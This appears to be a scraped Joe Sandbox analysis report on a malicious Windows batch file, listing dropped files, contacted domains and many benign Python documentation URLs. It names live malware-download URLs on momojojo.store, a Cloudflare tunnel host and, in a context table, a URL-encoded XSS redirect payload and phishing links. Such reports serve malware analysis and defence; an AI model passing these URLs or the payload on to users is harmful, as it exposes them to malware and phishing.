C:\Users\user\Downloads\Python\Python312\Lib\cgitb.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\chunk.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\cmd.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\code.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\codecs.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\collections\__init__.py	0%	ReversingLabs

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report new.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fpcolx32.ze3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jno3ltsy.ayh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kmld5smk.1fc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kt1dwa3q.13n.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w0rqfxcj.vbm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x1vfaqom.isj.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\Downloads\452c10c3-e8e4-4a9c-b3ce-31f585384362.tmp

Windows Analysis Report
new.bat

Source	Detection	Scanner	Label
https://peps.python.org/pep-0594/#audioop	0%	Avira URL Cloud	safe
https://docs.python.org/3/c-api/veryhigh.html	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0508/#environment-markers	0%	Avira URL Cloud	safe
https://packaging.python.org/	0%	Avira URL Cloud	safe
https://packaging.python.org/en/latest/tutorials/packaging-projects/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3120/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/c-api/weakref.rst	0%	Avira URL Cloud	safe
http://momojojo.store:4180/FTSP.zip	0%	Avira URL Cloud	safe
https://datatracker.ietf.org/doc/html/rfc2616.html#section-14.23	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/email/parser.py	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/html.parser.html	0%	Avira URL Cloud	safe
https://pythonhosted.org/pyblake2/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/asyncio-sync.rst	0%	Avira URL Cloud	safe
https://www.python.org/community/lists/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Modules	0%	Avira URL Cloud	safe
https://www.schneier.com/wp-content/uploads/2016/02/skein.pdf	0%	Avira URL Cloud	safe
https://cython.org/	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/email.generator.html	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/extending/embedding.rst	0%	Avira URL Cloud	safe
https://rhettinger.wordpress.com/2011/05/26/super-considered-super/	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/abc.html	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0602/	0%	Avira URL Cloud	safe
https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/importlib.resources.abc.html	0%	Avira URL Cloud	safe
https://github.com/python/cpython/issues/106939	0%	Avira URL Cloud	safe
http://momojojo.store:4180/FTSP.zipHOMEDRIVE=C:HOMEPATH=	0%	Avira URL Cloud	safe
https://www.redhat.com	0%	Avira URL Cloud	safe
https://quimby.gnus.org/notes/BABYL	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0529/	0%	Avira URL Cloud	safe
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	0%	Avira URL Cloud	safe
https://github.com/python/typing/issues/508	0%	Avira URL Cloud	safe
https://security.stackexchange.com/questions/3959/recommended-of-iterations-when-using-pbkdf2-sha256	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/faq/extending.rst	0%	Avira URL Cloud	safe
https://infozip.sourceforge.net	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/importlib/resources/abc.py	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0538/	0%	Avira URL Cloud	safe
https://csrc.nist.gov/publications/detail/sp/800-106/archive/2009-02-25	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://docs.python.org/3/genindex-Z.html	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/email/contentmanager.py	0%	Avira URL Cloud	safe
https://mail.python.org/mailman3/lists/python-announce-list.python.org/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0634/	0%	Avira URL Cloud	safe
https://datatracker.ietf.org/doc/html/rfc6532.html	0%	Avira URL Cloud	safe
http://momojojo.store:4180/FTSP.zipP=	0%	Avira URL Cloud	safe
file:///C:/Users/user/Downloads/downloaded.pdf	0%	Avira URL Cloud	safe
https://www.python.org'	0%	Avira URL Cloud	safe
https://github.com/pygments/pygments/issues	0%	Avira URL Cloud	safe
https://docs.djangoproject.com/en/stable/topics/logging/#configuring-logging	0%	Avira URL Cloud	safe
http://momojojo.store:4180/DXJS.zip	0%	Avira URL Cloud	safe
https://github.com/MagicStack/uvloop/tree/v0.16.0	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3141/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/codecs.rst	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0623/	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/atexit.html	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/asyncio-stream.html	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/builtins.rst	0%	Avira URL Cloud	safe
https://wiki.python.org/moin/PythonBooks	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/importlib.html	0%	Avira URL Cloud	safe
https://pypi.org/project/idna/	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/asyncio-api-index.html	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff/FiraCode-Regular.woff	0%	Avira URL Cloud	safe
https://mail.python.org/mailman3/lists/python-dev.python.org/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/codeop.rst	0%	Avira URL Cloud	safe
https://docs.python.org/ftp/python/doc/3.12.3/python-3.12.3-docs-text.zip	0%	Avira URL Cloud	safe
https://bugs.python.org/issue12524">https://bugs.python.org/issue12524</a>'	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/email.parser.rst	0%	Avira URL Cloud	safe
https://csrc.nist.gov/publications/detail/fips/180/4/final	0%	Avira URL Cloud	safe
http://svn.red-bean.com/bob/macholib/trunk/macholib/	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/concurrent.futures.html	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/multiprocessing/shared_memory.py	0%	Avira URL Cloud	safe
https://github.com/pyparsing/pyparsing/wiki	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/asyncio-api-index.rst	0%	Avira URL Cloud	safe
https://datatracker.ietf.org/doc/html/rfc7693.html	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0525/	0%	Avira URL Cloud	safe
https://www.python.org/dev/peps/pep-0566/#json-compatible-metadata	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/concurrent/futures/process.py	0%	Avira URL Cloud	safe
https://www.drdobbs.com/database/pattern-matching-the-gestalt-approach/184407970	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/i18n.html	0%	Avira URL Cloud	safe
https://freedesktop.org/wiki/Software/xdg-user-dirs/.z	0%	Avira URL Cloud	safe
https://setuptools.pypa.io/en/latest/references/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/distributing/index.rst	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/email/generator.py	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3151/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/c-api/unicode.rst	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/abc.py	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/extending/extending.rst	0%	Avira URL Cloud	safe
https://pypi.org/project/pyserial/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/mailcap.py	0%	Avira URL Cloud	safe
https://infra.psf.io	0%	Avira URL Cloud	safe
https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.6	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0328/	0%	Avira URL Cloud	safe
https://epydoc.sourceforge.net/	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/contextlib.html	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/ipc.rst	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/pprint.html#pprint.pprint	0%	Avira URL Cloud	safe
https://gunicorn.org/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/functional.rst	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0487/#implementation-details.	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/faq/general.rst	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/asyncio/locks.py	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
varieties-follow-speed-easy.trycloudflare.com	104.16.230.132	true	false	unknown
www.google.com	142.250.186.164	true	false	unknown
momojojo.store	51.89.199.99	true	true	unknown

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/Downloads/downloaded.pdf	false	Avira URL Cloud: safe	unknown
http://momojojo.store:4180/DXJS.zip	true	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://datatracker.ietf.org/doc/html/rfc2616.html#section-14.23	http.client.html.12.dr	false	Avira URL Cloud: safe	unknown
https://packaging.python.org/en/latest/tutorials/packaging-projects/	index.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/c-api/weakref.rst	weakref.html.12.dr	false	Avira URL Cloud: safe	unknown
https://packaging.python.org/	index.html.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0508/#environment-markers	installation_report.py.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/c-api/veryhigh.html	veryhigh.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/email/parser.py	email.parser.html.12.dr	false	Avira URL Cloud: safe	unknown
http://momojojo.store:4180/FTSP.zip	powershell.exe, 00000005.00000002.2584173664.0000017C1F960000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2532879707.0000017C05B30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0594/#audioop	audioop.html.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3120/	importlib.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/html.parser.html	html.parser.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Modules	library.html.12.dr	false	Avira URL Cloud: safe	unknown
https://www.schneier.com/wp-content/uploads/2016/02/skein.pdf	hashlib.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/asyncio-sync.rst	asyncio-sync.html.12.dr	false	Avira URL Cloud: safe	unknown
https://pythonhosted.org/pyblake2/	hashlib.html.12.dr	false	Avira URL Cloud: safe	unknown
https://www.python.org/community/lists/	general.html.12.dr	false	Avira URL Cloud: safe	unknown
https://cython.org/	index.html0.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/email.generator.html	email.generator.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/extending/embedding.rst	embedding.html.12.dr	false	Avira URL Cloud: safe	unknown
https://rhettinger.wordpress.com/2011/05/26/super-considered-super/	functions.html.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0602/	general.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/importlib.resources.abc.html	importlib.resources.abc.html.12.dr	false	Avira URL Cloud: safe	unknown
https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html	unix.cpython-312.pyc.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/abc.html	abc.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/issues/106939	multiprocessing.shared_memory.html.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0529/	unicode.html.12.dr	false	Avira URL Cloud: safe	unknown
http://momojojo.store:4180/FTSP.zipHOMEDRIVE=C:HOMEPATH=	powershell.exe, 00000005.00000002.2533401013.0000017C07420000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2585218372.0000017C1FA06000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2531682558.0000017C059A0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2532879707.0000017C05B34000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2532879707.0000017C05B30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://quimby.gnus.org/notes/BABYL	mailbox.html.12.dr	false	Avira URL Cloud: safe	unknown
https://www.redhat.com	general.html.12.dr	false	Avira URL Cloud: safe	unknown
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	transports.py.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/typing/issues/508	dataclasses.py.12.dr	false	Avira URL Cloud: safe	unknown
https://security.stackexchange.com/questions/3959/recommended-of-iterations-when-using-pbkdf2-sha256	hashlib.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/faq/extending.rst	extending.html0.12.dr	false	Avira URL Cloud: safe	unknown
https://infozip.sourceforge.net	download.html.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0538/	locale.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/importlib/resources/abc.py	importlib.resources.abc.html.12.dr	false	Avira URL Cloud: safe	unknown
https://csrc.nist.gov/publications/detail/sp/800-106/archive/2009-02-25	hashlib.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/genindex-Z.html	genindex-Z.html.12.dr	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000006.00000002.3261529877.000002450F210000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/email/contentmanager.py	email.contentmanager.html.12.dr	false	Avira URL Cloud: safe	unknown
https://mail.python.org/mailman3/lists/python-announce-list.python.org/	general.html.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0634/	typeobj.html.12.dr	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/doc/html/rfc6532.html	email.parser.html.12.dr	false	Avira URL Cloud: safe	unknown
http://momojojo.store:4180/FTSP.zipP=	powershell.exe, 00000005.00000002.2531682558.0000017C059A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.python.org'	contextlib.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.djangoproject.com/en/stable/topics/logging/#configuring-logging	logging-cookbook.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/pygments/pygments/issues	cmdline.cpython-312.pyc.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/codecs.rst	codecs.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/MagicStack/uvloop/tree/v0.16.0	events.py.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3141/	abc.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/atexit.html	atexit.html.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0623/	unicode.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/builtins.rst	builtins.html.12.dr	false	Avira URL Cloud: safe	unknown
https://wiki.python.org/moin/PythonBooks	general.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/importlib.html	importlib.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/asyncio-api-index.html	asyncio-api-index.html.12.dr	false	Avira URL Cloud: safe	unknown
https://pypi.org/project/idna/	codecs.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/asyncio-stream.html	asyncio-stream.html.12.dr	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/firacode/6.2.0/woff/FiraCode-Regular.woff	_export_format.cpython-312.pyc.12.dr	false	Avira URL Cloud: safe	unknown
https://mail.python.org/mailman3/lists/python-dev.python.org/	general.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/ftp/python/doc/3.12.3/python-3.12.3-docs-text.zip	download.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/codeop.rst	codeop.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/email.parser.rst	email.parser.html.12.dr	false	Avira URL Cloud: safe	unknown
http://svn.red-bean.com/bob/macholib/trunk/macholib/	fetch_macholib.12.dr	false	Avira URL Cloud: safe	unknown
https://csrc.nist.gov/publications/detail/fips/180/4/final	hashlib.html.12.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue12524">https://bugs.python.org/issue12524</a>'	http.client.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/asyncio-api-index.rst	asyncio-api-index.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/multiprocessing/shared_memory.py	multiprocessing.shared_memory.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/concurrent.futures.html	concurrent.futures.html.12.dr	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/doc/html/rfc7693.html	hashlib.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/pyparsing/pyparsing/wiki	helpers.cpython-312.pyc.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0525/	collections.abc.html.12.dr	false	Avira URL Cloud: safe	unknown
https://www.python.org/dev/peps/pep-0566/#json-compatible-metadata	installation_report.py.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/concurrent/futures/process.py	concurrent.futures.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/i18n.html	i18n.html.12.dr	false	Avira URL Cloud: safe	unknown
https://freedesktop.org/wiki/Software/xdg-user-dirs/.z	unix.cpython-312.pyc.12.dr	false	Avira URL Cloud: safe	unknown
https://www.drdobbs.com/database/pattern-matching-the-gestalt-approach/184407970	difflib.html.12.dr	false	Avira URL Cloud: safe	unknown
https://setuptools.pypa.io/en/latest/references/	__init__.py0.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3151/	exceptions.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/distributing/index.rst	index.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/email/generator.py	email.generator.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/c-api/unicode.rst	unicode.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/extending/extending.rst	extending.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/abc.py	abc.html.12.dr	false	Avira URL Cloud: safe	unknown
https://pypi.org/project/pyserial/	library.html.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0328/	importlib.html.12.dr, functions.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/mailcap.py	mailcap.html.12.dr	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/doc/html/rfc7231#section-4.3.6	http.client.html.12.dr	false	Avira URL Cloud: safe	unknown
https://epydoc.sourceforge.net/	library.html.12.dr	false	Avira URL Cloud: safe	unknown
https://infra.psf.io	general.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/contextlib.html	contextlib.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/ipc.rst	ipc.html.12.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/pprint.html#pprint.pprint	results.cpython-312.pyc.12.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0487/#implementation-details.	dataclasses.py.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/faq/general.rst	general.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/asyncio/locks.py	asyncio-sync.html.12.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/functional.rst	functional.html0.12.dr	false	Avira URL Cloud: safe	unknown
https://gunicorn.org/	logging-cookbook.html.12.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
51.89.199.99	momojojo.store	France	16276	OVHFR	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
104.16.230.132	varieties-follow-speed-easy.trycloudflare.com	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483229
Start date and time:	2024-07-26 21:30:25 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	new.bat
Detection:	MAL
Classification:	mal64.troj.winBAT@37/1048@5/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .bat

Time	Type	Description
15:31:15	API Interceptor	2x Sleep call for process: svchost.exe modified
15:31:16	API Interceptor	80x Sleep call for process: powershell.exe modified
15:32:34	API Interceptor	2604x Sleep call for process: conhost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	https://ringcentral-renarc.webflow.io/	Get hash	malicious	Unknown	Browse
	https://b8le2c5j.r.us-east-2.awstrack.me/L0/https:%2F%2Fslivtovara.ru%2Fbitrix%2Fredirect.php%3Fevent1=click_to_call%26event2=%26event3=%26goto=https:%2F%2F7qrw.wanianten.com%2FGhGNAL8%2F%23Pamy@derick.com/1/010f0190ec251e7b-a039cc69-e4b5-46b3-9c67-bbe921a600f9-000000/LLZuw2OBV0eOHt3bnXuAzTOkJoc=169	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://www.mfsociety.org/page.php?pageID=787144692108%22%3E%3Cimg%20src%3D%22image.jpg%22%20onerror%3D%22var%20url1%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%20var%20url2%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%0D%0Avar%20url%20%3D%20%5B%27htt%27%2C%27ps%3A%2F%2Fw%27%2C%27ww%27%2C%27.da%27%2C%27ta%27%2C%274t%27%2C%27rai%27%2C%27l.co%27%2C%27m%2F2%27%2C%275P%27%2C%27BNZ%27%2C%2799%2F7C%27%2C%27DMX%27%2C%27ZZ%27%2C%27N%2F%3Fsub1%3D13%26sub2%3D350-15156%26sub3%3D1265-22455-21626%27%5D.join%28%27%27%29%3B%0D%0A%20url%20%3D%20url.replace%28%2F%2C%2Fg%2C%20%27%27%29%3B%20var%20win%20%3D%20window.open%28url%2C%20%27_self%27%29%3B%20win.opener%20%3D%20null%3B%20win.location.replace%28url%29%3B%22%3E#ALwqRdmzZAyXJwdL33Pq	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Babadeda	Browse
	https://intralinks.us.com/jallessI1Ae2APharrI1AsassoTxcz01coTxm	Get hash	malicious	HTMLPhisher	Browse
	https://mrlocksmithpenticton.com/mlc/	Get hash	malicious	HTMLPhisher	Browse
	https://new-sneww-online-nowz-all.azurewebsites.net/?referrer=appmetrica_tracking_id%3D173005530304969909%26ym_tracking_id%3D10094745761516744100	Get hash	malicious	Unknown	Browse
	https://portal.avel-erx.com/esync/app/?token=4276f42c-09fa-4876-aa17-00d2659d77a4	Get hash	malicious	Unknown	Browse
	https://1drv.ms/b/c/0524e941baea8759/EbTQ6AvSTkdPuFAldWpGokYBh0MxWHPfUcZj1H5z_yZ5Ew?e=cIicc7	Get hash	malicious	Unknown	Browse
104.16.230.132	https://liceultehnologicrosiajiu.ro/ulin/ulin8ce.html	Get hash	malicious	CVE-2024-21412	Browse
	https://dl.dropboxusercontent.com/scl/fi/2urfr5q3ixqp323mpxvhk/doc0992002349204234.zip?rlkey=y7i8kx77whrcy1cmi0q2meqie&st=b7dosz01&dl=0	Get hash	malicious	Unknown	Browse
	https://dl.dropboxusercontent.com/scl/fi/ssrtsruwybdh9nryde8cy/doc09194992304029942.zip?rlkey=7ohjqlkztcaq70mg47cinafu3&st=h88qnqqw&dl=0	Get hash	malicious	Unknown	Browse
	https://springs-citation-house-congressional.trycloudflare.com/win/print.exe	Get hash	malicious	Xmrig	Browse
	Lex-DKM988293.zip	Get hash	malicious	AsyncRAT, DcRat	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	Aurora.exe	Get hash	malicious	Aurora, Quasar, RedLine, Xmrig	Browse	51.79.71.77
	https://new-sneww-online-nowz-all.azurewebsites.net/?referrer=appmetrica_tracking_id%3D173005530304969909%26ym_tracking_id%3D10094745761516744100	Get hash	malicious	Unknown	Browse	54.36.150.186
	FkJbps6Srrl6lOQ9M_l8dpw2.exe	Get hash	malicious	RedLine	Browse	51.195.145.80
	VvlYJBzLuW.elf	Get hash	malicious	Mirai	Browse	37.59.105.215
	7Y18r(169).exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	Endermanch@Antivirus.exe	Get hash	malicious	Bdaejec	Browse	54.39.157.64
	Endermanch@Antivirus.exe	Get hash	malicious	Bdaejec	Browse	54.39.157.64
	file.exe	Get hash	malicious	SystemBC	Browse	144.217.158.194
	file.exe	Get hash	malicious	SmokeLoader	Browse	51.77.140.74
	file.exe	Get hash	malicious	SystemBC	Browse	192.99.8.97
CLOUDFLARENETUS	https://ringcentral-renarc.webflow.io/	Get hash	malicious	Unknown	Browse	104.18.28.203
